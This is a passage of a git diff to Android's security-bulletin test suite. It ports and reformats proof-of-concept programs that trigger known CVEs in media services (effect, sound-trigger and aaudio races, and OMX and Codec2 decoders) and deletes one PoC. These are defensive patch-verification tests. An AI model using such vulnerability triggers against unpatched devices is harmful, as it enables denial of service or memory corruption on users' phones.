-  uint32_t cmdCode, cmdSize, pReplySize;
-  int *pCmdData, *pReplyData;
-
-  cmdCode = EFFECT_CMD_GET_CONFIG;
-  cmdSize = 0;
-  pReplySize = sizeof(effect_config_t);
-  pCmdData = (int *)malloc(cmdSize);
-  pReplyData = (int *)malloc(pReplySize);
+  std::vector<uint8_t> cmdData;
+  std::vector<uint8_t> replyData;
 
   gEffect = NULL;
   pthread_t pt;
   const sp<IAudioFlinger> &audioFlinger = AudioSystem::get_audio_flinger();
   AudioDeviceTypeAddr device;
+  media::permission::Identity identity;
+  identity.packageName = opPackageName;
+  identity.pid = VALUE_OR_RETURN_STATUS(legacy2aidl_pid_t_int32_t(getpid()));
 
   for (i=0; i<100; i++) {
-    gEffect = audioFlinger->createEffect(&descriptor, effectClient, priority,
-                                         io, sessionId, device, opPackageName,
-                                         getpid(), false, &err, &id, &enabled);
+    media::CreateEffectRequest request;
+    request.desc = VALUE_OR_RETURN_STATUS(
+            legacy2aidl_effect_descriptor_t_EffectDescriptor(descriptor));
+    request.client = effectClient;
+    request.priority = priority;
+    request.output = VALUE_OR_RETURN_STATUS(legacy2aidl_audio_io_handle_t_int32_t(io));
+    request.sessionId = VALUE_OR_RETURN_STATUS(legacy2aidl_audio_session_t_int32_t(sessionId));
+    request.device = VALUE_OR_RETURN_STATUS(legacy2aidl_AudioDeviceTypeAddress(device));
+    request.identity = identity;
+    request.probe = false;
+
+    media::CreateEffectResponse response;
+
+    err = audioFlinger->createEffect(request, &response);
+
+    if (err == OK) {
+        id = response.id;
+        enabled = response.enabled;
+        gEffect = response.effect;
+        descriptor = VALUE_OR_RETURN_STATUS(
+                aidl2legacy_EffectDescriptor_effect_descriptor_t(response.desc));
+    }
+
     if (gEffect == NULL || err != NO_ERROR) {
       return -1;
     }
     pthread_create(&pt, NULL, disconnectThread, NULL);
-    err = gEffect->command(cmdCode, cmdSize, (void *)pCmdData, &pReplySize,
-                           (void *)pReplyData);
+    binder::Status status = gEffect->command(EFFECT_CMD_GET_CONFIG, cmdData,
+                                             sizeof(effect_config_t),
+                                             &replyData, &err);
+    if (!status.isOk()) {
+      err = status.transactionError();
+    }
     usleep(50);
   }
   sleep(2);
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/poc.cpp
index c1999db..733e113 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/poc.cpp
@@ -14,20 +14,18 @@
  * limitations under the License.
  */
 
-#include "../includes/common.h"
 #include <binder/IPCThreadState.h>
 #include <binder/IServiceManager.h>
-#include <media/IAudioPolicyService.h>
+#include <media/AudioSystem.h>
+#include "../includes/common.h"
 
 using namespace android;
 
 #define MAX_NUMBER_OF_AUDIO_SESSIONS 1024
 #define MAX_NUMBER_OF_THREADS 5
 #define MAX_NUMBER_OF_ACQUIRE_SESSION_THREADS 2
-#define SLEEP_TIME_IN_SECONDS 5
 
 struct pocAudioSessionCtxt {
-  sp<IAudioPolicyService> audioService;
   audio_session_t audioSession[MAX_NUMBER_OF_AUDIO_SESSIONS];
   volatile bool startThread;
 };
@@ -40,15 +38,14 @@
   }
   time_t currentTime = start_timer();
   while (timer_active(currentTime)) {
-    if (ctxt->startThread == true && ctxt->audioService != nullptr) {
-      audio_io_handle_t ioHandle = 0;
-      audio_devices_t device = AUDIO_DEVICE_NONE;
-      ctxt->audioService->acquireSoundTriggerSession(&(ctxt->audioSession[++i]),
-                                                     &ioHandle, &device);
-      if (i >= MAX_NUMBER_OF_AUDIO_SESSIONS) {
-        i = 0;
+      if (ctxt->startThread) {
+          audio_io_handle_t ioHandle = 0;
+          audio_devices_t device = AUDIO_DEVICE_NONE;
+          AudioSystem::acquireSoundTriggerSession(&(ctxt->audioSession[++i]), &ioHandle, &device);
+          if (i >= MAX_NUMBER_OF_AUDIO_SESSIONS) {
+              i = 0;
+          }
       }
-    }
   }
   return nullptr;
 }
@@ -61,24 +58,16 @@
   }
   time_t currentTime = start_timer();
   while (timer_active(currentTime)) {
-    if (ctxt->startThread == true && ctxt->audioService != nullptr) {
-      ctxt->audioService->releaseSoundTriggerSession(ctxt->audioSession[++i]);
-      if (i >= MAX_NUMBER_OF_AUDIO_SESSIONS) {
-        i = 0;
+      if (ctxt->startThread) {
+          AudioSystem::releaseSoundTriggerSession(ctxt->audioSession[++i]);
+          if (i >= MAX_NUMBER_OF_AUDIO_SESSIONS) {
+              i = 0;
+          }
       }
-    }
   }
   return nullptr;
 }
 
-class MyDeathRecipient : public IBinder::DeathRecipient {
-public:
-  MyDeathRecipient() {}
-  virtual void binderDied(const wp<IBinder> &who __unused) {
-    exit(EXIT_SUCCESS);
-  }
-};
-
 int main() {
   pocAudioSessionCtxt ctxt;
   pthread_t thread[MAX_NUMBER_OF_THREADS];
@@ -95,18 +84,6 @@
                    &ctxt);
   }
 
-  sp<IServiceManager> sm = defaultServiceManager();
-  sp<IBinder> binder = sm->getService(String16("media.audio_policy"));
-  if (!binder) {
-    return EXIT_FAILURE;
-  }
-  ctxt.audioService = interface_cast<IAudioPolicyService>(binder);
-  if (!ctxt.audioService) {
-    return EXIT_FAILURE;
-  }
-
-  sp<MyDeathRecipient> deathRecipient = new MyDeathRecipient();
-  binder->linkToDeath(deathRecipient);
   ctxt.startThread = true;
   for (int i = 0; i < MAX_NUMBER_OF_THREADS; ++i) {
     pthread_join(thread[i], nullptr);
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/poc.cpp
index 33ffdaf..0256f04 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/poc.cpp
@@ -14,9 +14,10 @@
  * the License.
  */
 
-#include "../includes/common.h"
 #include <stdlib.h>
 
+#include "../includes/common.h"
+
 // This PoC is only for 32-bit builds
 #if _32_BIT
 #include "../includes/omxUtils.h"
@@ -26,86 +27,85 @@
 sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
 
 int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers) {
-  buffers->clear();
-  OMX_PARAM_PORTDEFINITIONTYPE def;
-  int err = omxUtilsGetParameter(portIndex, &def);
-  omxExitOnError(err);
+    buffers->clear();
+    OMX_PARAM_PORTDEFINITIONTYPE def;
+    int err = omxUtilsGetParameter(portIndex, &def);
+    omxExitOnError(err);
 
-  for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
-    Buffer buffer;
-    buffer.mFlags = 0;
-    bool success;
-    auto transStatus = mAllocator->allocate(
-        def.nBufferSize, [&success, &buffer](bool s, hidl_memory const &m) {
-          success = s;
-          buffer.mHidlMemory = m;
-        });
-    omxExitOnError(!transStatus.isOk());
-    omxExitOnError(!success);
-    omxUtilsUseBuffer(portIndex, buffer.mHidlMemory, &buffer.mID);
-    buffers->push(buffer);
-  }
-  return OK;
+    for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+        Buffer buffer;
+        buffer.mFlags = 0;
+        bool success;
+        auto transStatus = mAllocator->allocate(def.nBufferSize,
+                                                [&success, &buffer](bool s, hidl_memory const &m) {
+                                                    success = s;
+                                                    buffer.mHidlMemory = m;
+                                                });
+        omxExitOnError(!transStatus.isOk());
+        omxExitOnError(!success);
+        omxUtilsUseBuffer(portIndex, buffer.mHidlMemory, &buffer.mID);
+        buffers->push(buffer);
+    }
+    return OK;
 }
 #endif /* _32_BIT */
 
 int main() {
-
 // This PoC is only for 32-bit builds
 #if _32_BIT
-  int i;
-  Vector<Buffer> inputBuffers;
-  Vector<Buffer> outputBuffers;
-  status_t err = omxUtilsInit((char *)"OMX.google.h264.decoder");
+    int i;
+    Vector<Buffer> inputBuffers;
+    Vector<Buffer> outputBuffers;
+    status_t err = omxUtilsInit((char *)"OMX.google.h264.decoder");
 
-  omxExitOnError(err);
+    omxExitOnError(err);
 
-  OMX_PARAM_PORTDEFINITIONTYPE def;
-  omxUtilsGetParameter(OMX_UTILS_IP_PORT, &def);
+    OMX_PARAM_PORTDEFINITIONTYPE def;
+    omxUtilsGetParameter(OMX_UTILS_IP_PORT, &def);
 
-  int inMemorySize = def.nBufferCountActual * def.nBufferSize;
-  int inBufferCount = def.nBufferCountActual;
-  sp<MemoryDealer> dealerIn = new MemoryDealer(inMemorySize);
-  IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCount];
+    int inMemorySize = def.nBufferCountActual * def.nBufferSize;
+    int inBufferCount = def.nBufferCountActual;
+    sp<MemoryDealer> dealerIn = new MemoryDealer(inMemorySize);
+    IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCount];
 
-  omxUtilsGetParameter(OMX_UTILS_OP_PORT, &def);
+    omxUtilsGetParameter(OMX_UTILS_OP_PORT, &def);
 
-  int outMemorySize = def.nBufferCountActual * def.nBufferSize;
-  int outBufferCnt = def.nBufferCountActual;
-  sp<MemoryDealer> dealerOut = new MemoryDealer(outMemorySize);
-  IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+    int outMemorySize = def.nBufferCountActual * def.nBufferSize;
+    int outBufferCnt = def.nBufferCountActual;
+    sp<MemoryDealer> dealerOut = new MemoryDealer(outMemorySize);
+    IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
 
-  allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers);
-  for (i = 0; i < inBufferCount; ++i) {
-    inBufferId[i] = inputBuffers[i].mID;
-  }
+    allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers);
+    for (i = 0; i < inBufferCount; ++i) {
+        inBufferId[i] = inputBuffers[i].mID;
+    }
 
-  allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers);
-  for (i = 0; i < outBufferCnt; ++i) {
-    outBufferId[i] = outputBuffers[i].mID;
-  }
+    allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers);
+    for (i = 0; i < outBufferCnt; ++i) {
+        outBufferId[i] = outputBuffers[i].mID;
+    }
 
-  omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
-  omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
 
-  OMX_U32 flags = OMX_BUFFERFLAG_ENDOFFRAME;
-  int64_t timeUs = TIMESTAMP_US;
-  omxUtilsEmptyBuffer(inBufferId[0], OMXBuffer::sPreset, flags, timeUs, -1);
-  omxUtilsFillBuffer(outBufferId[0], OMXBuffer::sPreset, -1);
+    OMX_U32 flags = OMX_BUFFERFLAG_ENDOFFRAME;
+    int64_t timeUs = TIMESTAMP_US;
+    omxUtilsEmptyBuffer(inBufferId[0], OMXBuffer::sPreset, flags, timeUs, -1);
+    omxUtilsFillBuffer(outBufferId[0], OMXBuffer::sPreset, -1);
 
-  omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
-  omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
 
-  for (i = 0; i < inBufferCount; ++i) {
-    omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mID);
-  }
+    for (i = 0; i < inBufferCount; ++i) {
+        omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mID);
+    }
 
-  for (i = 0; i < outBufferCnt; ++i) {
-    omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mID);
-  }
+    for (i = 0; i < outBufferCnt; ++i) {
+        omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mID);
+    }
 
-  omxUtilsFreeNode();
+    omxUtilsFreeNode();
 #endif /* _32_BIT */
 
-  return EXIT_SUCCESS;
+    return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.bp
deleted file mode 100644
index 16bfc36..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.bp
+++ /dev/null
@@ -1,34 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at:
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-cc_test {
-    name: "CVE-2018-9428",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: [
-        "poc.cpp",
-    ],
-    shared_libs: [
-        "libmedia",
-        "libutils",
-        "libbinder",
-        "libaaudio_internal",
-    ],
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/poc.cpp
deleted file mode 100644
index cf21dbc..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/poc.cpp
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include "../includes/common.h"
-#include "binding/IAAudioService.h"
-#include <binder/IPCThreadState.h>
-#include <binder/IServiceManager.h>
-
-using namespace android;
-using namespace aaudio;
-
-typedef struct _thread_args {
-  aaudio_handle_t aaudioHandle;
-  sp<IAAudioService> aas;
-} thread_args;
-
-static void *closeStreamThread(void *arg) {
-  thread_args *threadArgs = (thread_args *)arg;
-  if (threadArgs) {
-    if (threadArgs->aas) {
-      threadArgs->aas->closeStream(threadArgs->aaudioHandle);
-    }
-  }
-  return nullptr;
-}
-
-static void *startStreamThread(void *arg) {
-  thread_args *threadArgs = (thread_args *)arg;
-  if (threadArgs) {
-    if (threadArgs->aas) {
-      threadArgs->aas->startStream(threadArgs->aaudioHandle);
-    }
-  }
-  return nullptr;
-}
-
-int main() {
-  thread_args targs;
-
-  sp<IServiceManager> sm = defaultServiceManager();
-  sp<IBinder> binder = sm->getService(String16("media.aaudio"));
-  targs.aas = interface_cast<IAAudioService>(binder);
-  if (!(targs.aas)) {
-    return EXIT_FAILURE;
-  }
-  aaudio::AAudioStreamRequest request;
-  request.getConfiguration().setSharingMode(AAUDIO_SHARING_MODE_SHARED);
-  request.getConfiguration().setDeviceId(0);
-  request.getConfiguration().setSampleRate(AAUDIO_UNSPECIFIED);
-
-  time_t currentTime = start_timer();
-  while (timer_active(currentTime)) {
-    pthread_t pt[2];
-
-    aaudio::AAudioStreamConfiguration configurationOutput;
-    targs.aaudioHandle = targs.aas->openStream(request, configurationOutput);
-    pthread_create(&pt[0], nullptr, closeStreamThread,
-                   &targs); /* close stream */
-    pthread_create(&pt[1], nullptr, startStreamThread,
-                   &targs); /* start stream */
-
-    sleep(5);
-  }
-  return EXIT_SUCCESS;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/poc.c
index 63600cc..de84bb7 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/poc.c
@@ -14,11 +14,12 @@
  * limitations under the License.
  */
 
-#include "../includes/common.h"
 #include <dlfcn.h>
 #include <fcntl.h>
 #include <ipp.h>
 
+#include "../includes/common.h"
+
 int isInitialized = 0;
 void *check_ptr = NULL;
 size_t text_len = sizeof("text/plain") - 1;
@@ -27,57 +28,57 @@
 static int (*real_strcmp)(const char *str1, const char *str2) = NULL;
 
 void init(void) {
-  real_malloc = (void *(*)(size_t))dlsym(RTLD_NEXT, "malloc");
-  if (real_malloc == NULL) {
-    return;
-  }
-  real_strcmp = (int (*)(const char *, const char *))dlsym(RTLD_NEXT, "strcmp");
-  if (real_strcmp == NULL) {
-    return;
-  }
-  isInitialized = 1;
+    real_malloc = (void *(*)(size_t))dlsym(RTLD_NEXT, "malloc");
+    if (real_malloc == NULL) {
+        return;
+    }
+    real_strcmp = (int (*)(const char *, const char *))dlsym(RTLD_NEXT, "strcmp");
+    if (real_strcmp == NULL) {
+        return;
+    }
+    isInitialized = 1;
 }
 
 void *malloc(size_t size) {
-  if (!isInitialized) {
-    init();
-  }
-  void *tmp = real_malloc(size);
-  if (size == text_len) {
-    check_ptr = tmp;
-  }
-  return tmp;
+    if (!isInitialized) {
+        init();
+    }
+    void *tmp = real_malloc(size);
+    if (size == text_len) {
+        check_ptr = tmp;
+    }
+    return tmp;
 }
 
 int strcmp(const char *str1, const char *str2) {
-  if (!isInitialized) {
-    init();
-  }
-  if ((str1 == check_ptr) && (str1[text_len - 1] != '\0')) {
-    exit(EXIT_VULNERABLE);
-  }
-  return real_strcmp(str1, str2);
+    if (!isInitialized) {
+        init();
+    }
+    if ((str1 == check_ptr) && (str1[text_len - 1] != '\0')) {
+        exit(EXIT_VULNERABLE);
+    }
+    return real_strcmp(str1, str2);
 }
 
 int main(int argc, char **argv) {
-  if (argc < 2) {
-    return EXIT_FAILURE;
-  }
+    if (argc < 2) {
+        return EXIT_FAILURE;
+    }
 
-  int file_desc = open((const char *)argv[1], O_RDONLY);
-  if (file_desc < 0) {
-    return EXIT_FAILURE;
-  }
+    int file_desc = open((const char *)argv[1], O_RDONLY);
+    if (file_desc < 0) {
+        return EXIT_FAILURE;
+    }
 
-  ipp_t *job = ippNew();
-  if (!job) {
-    return EXIT_FAILURE;
-  }
-  ippReadFile(file_desc, job);
+    ipp_t *job = ippNew();
+    if (!job) {
+        return EXIT_FAILURE;
+    }
+    ippReadFile(file_desc, job);
 
-  if (job) {
-    free(job);
-  }
-  close(file_desc);
-  return EXIT_SUCCESS;
+    if (job) {
+        free(job);
+    }
+    close(file_desc);
+    return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp
index 30e22d4..fd10060 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp
@@ -39,11 +39,11 @@
 #define MAXIMUM_NUMBER_OF_INPUT_BUFFERS 8
 #define ALIGN(_sz, _align) ((_sz + (_align - 1)) & ~(_align - 1))
 
-void workDone(const std::shared_ptr<android::Codec2Client::Component>& component,
-              std::unique_ptr<C2Work>& work, std::list<uint64_t>& flushedIndices,
-              std::mutex& queueLock, std::condition_variable& queueCondition,
-              std::list<std::unique_ptr<C2Work>>& workQueue, bool& eos, bool& csd,
-              uint32_t& framesReceived);
+void workDone(const std::shared_ptr<android::Codec2Client::Component> &component,
+              std::unique_ptr<C2Work> &work, std::list<uint64_t> &flushedIndices,
+              std::mutex &queueLock, std::condition_variable &queueCondition,
+              std::list<std::unique_ptr<C2Work>> &workQueue, bool &eos, bool &csd,
+              uint32_t &framesReceived);
 
 struct FrameInfo {
     int bytesCount;
@@ -52,12 +52,12 @@
 };
 
 class LinearBuffer : public C2Buffer {
-   public:
-    explicit LinearBuffer(const std::shared_ptr<C2LinearBlock>& block)
-        : C2Buffer({block->share(block->offset(), block->size(), ::C2Fence())}) {}
+public:
+    explicit LinearBuffer(const std::shared_ptr<C2LinearBlock> &block)
+          : C2Buffer({block->share(block->offset(), block->size(), ::C2Fence())}) {}
 
-    explicit LinearBuffer(const std::shared_ptr<C2LinearBlock>& block, size_t size)
-        : C2Buffer({block->share(block->offset(), size, ::C2Fence())}) {}
+    explicit LinearBuffer(const std::shared_ptr<C2LinearBlock> &block, size_t size)
+          : C2Buffer({block->share(block->offset(), size, ::C2Fence())}) {}
 };
 
 /*
@@ -65,12 +65,12 @@
  * onError(), onDeath(), onFramesRendered()
  */
 struct CodecListener : public android::Codec2Client::Listener {
-   public:
+public:
     CodecListener(
-        const std::function<void(std::list<std::unique_ptr<C2Work>>& workItems)> fn = nullptr)
-        : callBack(fn) {}
-    virtual void onWorkDone(const std::weak_ptr<android::Codec2Client::Component>& comp,
-                            std::list<std::unique_ptr<C2Work>>& workItems) override {
+            const std::function<void(std::list<std::unique_ptr<C2Work>> &workItems)> fn = nullptr)
+          : callBack(fn) {}
+    virtual void onWorkDone(const std::weak_ptr<android::Codec2Client::Component> &comp,
+                            std::list<std::unique_ptr<C2Work>> &workItems) override {
         (void)comp;
         if (callBack) {
             callBack(workItems);
@@ -78,19 +78,19 @@
     }
 
     virtual void onTripped(
-        const std::weak_ptr<android::Codec2Client::Component>& comp,
-        const std::vector<std::shared_ptr<C2SettingResult>>& settingResults) override {
+            const std::weak_ptr<android::Codec2Client::Component> &comp,
+            const std::vector<std::shared_ptr<C2SettingResult>> &settingResults) override {
         (void)comp;
         (void)settingResults;
     }
 
-    virtual void onError(const std::weak_ptr<android::Codec2Client::Component>& comp,
+    virtual void onError(const std::weak_ptr<android::Codec2Client::Component> &comp,
                          uint32_t errorCode) override {
         (void)comp;
         (void)errorCode;
     }
 
-    virtual void onDeath(const std::weak_ptr<android::Codec2Client::Component>& comp) override {
+    virtual void onDeath(const std::weak_ptr<android::Codec2Client::Component> &comp) override {
         (void)comp;
     }
 
@@ -105,24 +105,24 @@
         (void)slotId;
         (void)timestampNs;
     }
-    std::function<void(std::list<std::unique_ptr<C2Work>>& workItems)> callBack;
+    std::function<void(std::list<std::unique_ptr<C2Work>> &workItems)> callBack;
 };
 
 class Codec2VideoDecHidlTestBase {
-   public:
+public:
     bool SetUp() {
         mClient = getClient();
         if (!mClient) {
             return false;
         }
-        mListener.reset(new CodecListener(
-            [this](std::list<std::unique_ptr<C2Work>>& workItems) { handleWorkDone(workItems); }));
+        mListener.reset(new CodecListener([this](std::list<std::unique_ptr<C2Work>> &workItems) {
+            handleWorkDone(workItems);
+        }));
         if (!mListener) {
             return false;
         }
-        mComponent = android::Codec2Client::CreateComponentByName(mComponentName.c_str(), mListener,
-                                                                  &mClient);
-        if (!mComponent) {
+        if (android::Codec2Client::CreateComponentByName(mComponentName.c_str(), mListener,
+                                                         &mComponent, &mClient) != C2_OK) {
             return false;
         }
         for (int i = 0; i < MAXIMUM_NUMBER_OF_INPUT_BUFFERS; ++i) {
@@ -155,7 +155,7 @@
         auto instances = android::Codec2Client::GetServiceNames();
         for (std::string instance : instances) {
             std::shared_ptr<android::Codec2Client> client =
-                android::Codec2Client::CreateFromService(instance.c_str());
+                    android::Codec2Client::CreateFromService(instance.c_str());
             std::vector<C2Component::Traits> components = client->listComponents();
             for (C2Component::Traits traits : components) {
                 if (instance.compare(traits.owner)) {
@@ -163,20 +163,26 @@
                 }
                 if (traits.domain == DOMAIN_VIDEO && traits.kind == KIND_DECODER &&
                     mComponentName.compare(traits.name)) {
-                    return android::Codec2Client::CreateFromService(
-                        instance.c_str(),
-                        !bool(android::Codec2Client::CreateFromService("default", true)));
+                    return android::Codec2Client::
+                            CreateFromService(instance.c_str(),
+                                              !bool(android::Codec2Client::
+                                                            CreateFromService("default", true)));
                 }
             }
         }
         return nullptr;
     }
 
-    void checkBufferOK(std::unique_ptr<C2Work>& work) {
-        const C2GraphicView output =
-            work->worklets.front()->output.buffers[0]->data().graphicBlocks().front().map().get();
-        uint8_t* uPlane = const_cast<uint8_t*>(output.data()[C2PlanarLayout::PLANE_U]);
-        uint8_t* vPlane = const_cast<uint8_t*>(output.data()[C2PlanarLayout::PLANE_V]);
+    void checkBufferOK(std::unique_ptr<C2Work> &work) {
+        const C2GraphicView output = work->worklets.front()
+                                             ->output.buffers[0]
+                                             ->data()
+                                             .graphicBlocks()
+                                             .front()
+                                             .map()
+                                             .get();
+        uint8_t *uPlane = const_cast<uint8_t *>(output.data()[C2PlanarLayout::PLANE_U]);
+        uint8_t *vPlane = const_cast<uint8_t *>(output.data()[C2PlanarLayout::PLANE_V]);
         const uint8_t ul[] = {109, 109, 109, 109, 109, 109, 109};
         const uint8_t vl[] = {121, 121, 121, 121, 121, 121, 121};
         const uint8_t ur[] = {114, 114, 120, 120, 122, 127, 127};
@@ -192,7 +198,7 @@
         std::vector<std::unique_ptr<C2SettingResult>> failures;
         C2StreamPixelFormatInfo::output pixelformat(0u, format);
 
-        std::vector<C2Param*> configParam{&pixelformat};
+        std::vector<C2Param *> configParam{&pixelformat};
         c2_status_t status = mComponent->config(configParam, C2_DONT_BLOCK, &failures);
         if (status == C2_OK && failures.size() == 0u) {
             return true;
@@ -201,14 +207,14 @@
     }
 
     // callback function to process onWorkDone received by Listener
-    void handleWorkDone(std::list<std::unique_ptr<C2Work>>& workItems) {
-        for (std::unique_ptr<C2Work>& work : workItems) {
+    void handleWorkDone(std::list<std::unique_ptr<C2Work>> &workItems) {
+        for (std::unique_ptr<C2Work> &work : workItems) {
             if (!work->worklets.empty()) {
                 // For decoder components current timestamp always exceeds
                 // previous timestamp if output is in display order
                 mWorkResult |= work->result;
-                bool codecConfig =
-                    ((work->worklets.front()->output.flags & C2FrameData::FLAG_CODEC_CONFIG) != 0);
+                bool codecConfig = ((work->worklets.front()->output.flags &
+                                     C2FrameData::FLAG_CODEC_CONFIG) != 0);
                 if (!codecConfig && !work->worklets.front()->output.buffers.empty()) {
                     checkBufferOK(work);
                 }
@@ -242,21 +248,21 @@
 };
 
 // process onWorkDone received by Listener
-void workDone(const std::shared_ptr<android::Codec2Client::Component>& component,
-              std::unique_ptr<C2Work>& work, std::list<uint64_t>& flushedIndices,
-              std::mutex& queueLock, std::condition_variable& queueCondition,
-              std::list<std::unique_ptr<C2Work>>& workQueue, bool& eos, bool& csd,
-              uint32_t& framesReceived) {
+void workDone(const std::shared_ptr<android::Codec2Client::Component> &component,
+              std::unique_ptr<C2Work> &work, std::list<uint64_t> &flushedIndices,
+              std::mutex &queueLock, std::condition_variable &queueCondition,
+              std::list<std::unique_ptr<C2Work>> &workQueue, bool &eos, bool &csd,
+              uint32_t &framesReceived) {
     // handle configuration changes in work done
     if (work->worklets.front()->output.configUpdate.size() != 0) {
         std::vector<std::unique_ptr<C2Param>> updates =
-            std::move(work->worklets.front()->output.configUpdate);
-        std::vector<C2Param*> configParam;
+                std::move(work->worklets.front()->output.configUpdate);
+        std::vector<C2Param *> configParam;
         std::vector<std::unique_ptr<C2SettingResult>> failures;
         for (size_t i = 0; i < updates.size(); ++i) {
-            C2Param* param = updates[i].get();
+            C2Param *param = updates[i].get();
             if (param->index() == C2StreamInitDataInfo::output::PARAM_TYPE) {
-                C2StreamInitDataInfo::output* csdBuffer = (C2StreamInitDataInfo::output*)(param);
+                C2StreamInitDataInfo::output *csdBuffer = (C2StreamInitDataInfo::output *)(param);
                 size_t csdSize = csdBuffer->flexCount();
                 if (csdSize > 0) {
                     csd = true;
@@ -289,11 +295,11 @@
     }
 }
 
-bool decodeNFrames(const std::shared_ptr<android::Codec2Client::Component>& component,
-                   std::mutex& queueLock, std::condition_variable& queueCondition,
-                   std::list<std::unique_ptr<C2Work>>& workQueue,
-                   std::list<uint64_t>& flushedIndices, std::shared_ptr<C2BlockPool>& linearPool,
-                   std::ifstream& ifStream, android::Vector<FrameInfo>* Info) {
+bool decodeNFrames(const std::shared_ptr<android::Codec2Client::Component> &component,
+                   std::mutex &queueLock, std::condition_variable &queueCondition,
+                   std::list<std::unique_ptr<C2Work>> &workQueue,
+                   std::list<uint64_t> &flushedIndices, std::shared_ptr<C2BlockPool> &linearPool,
+                   std::ifstream &ifStream, android::Vector<FrameInfo> *Info) {
     typedef std::unique_lock<std::mutex> ULock;
     int frameID = 0;
     int retryCount = 0;
@@ -315,7 +321,7 @@
             }
         }
         if (!work && (retryCount >= MAXIMUM_NUMBER_OF_RETRIES)) {
-            return false;  // "Wait for generating C2Work exceeded timeout"
+            return false; // "Wait for generating C2Work exceeded timeout"
         }
         int64_t timestamp = (*Info)[frameID].timestamp;
         if ((*Info)[frameID].flags) {
@@ -334,7 +340,7 @@
         }
 
         int size = (*Info)[frameID].bytesCount;
-        char* data = (char*)malloc(size);
+        char *data = (char *)malloc(size);
         if (!data) {
             return false;
         }
@@ -393,8 +399,8 @@
 }
 
 // Wait for all the inputs to be consumed by the plugin.
-void waitOnInputConsumption(std::mutex& queueLock, std::condition_variable& queueCondition,
-                            std::list<std::unique_ptr<C2Work>>& workQueue,
+void waitOnInputConsumption(std::mutex &queueLock, std::condition_variable &queueCondition,
+                            std::list<std::unique_ptr<C2Work>> &workQueue,
                             size_t bufferCount = MAXIMUM_NUMBER_OF_INPUT_BUFFERS) {
     typedef std::unique_lock<std::mutex> ULock;
     uint32_t queueSize;
@@ -416,7 +422,7 @@
 }
 
 // Populate Info vector and return number of CSDs
-int32_t populateInfoVector(std::string info, android::Vector<FrameInfo>* frameInfo) {
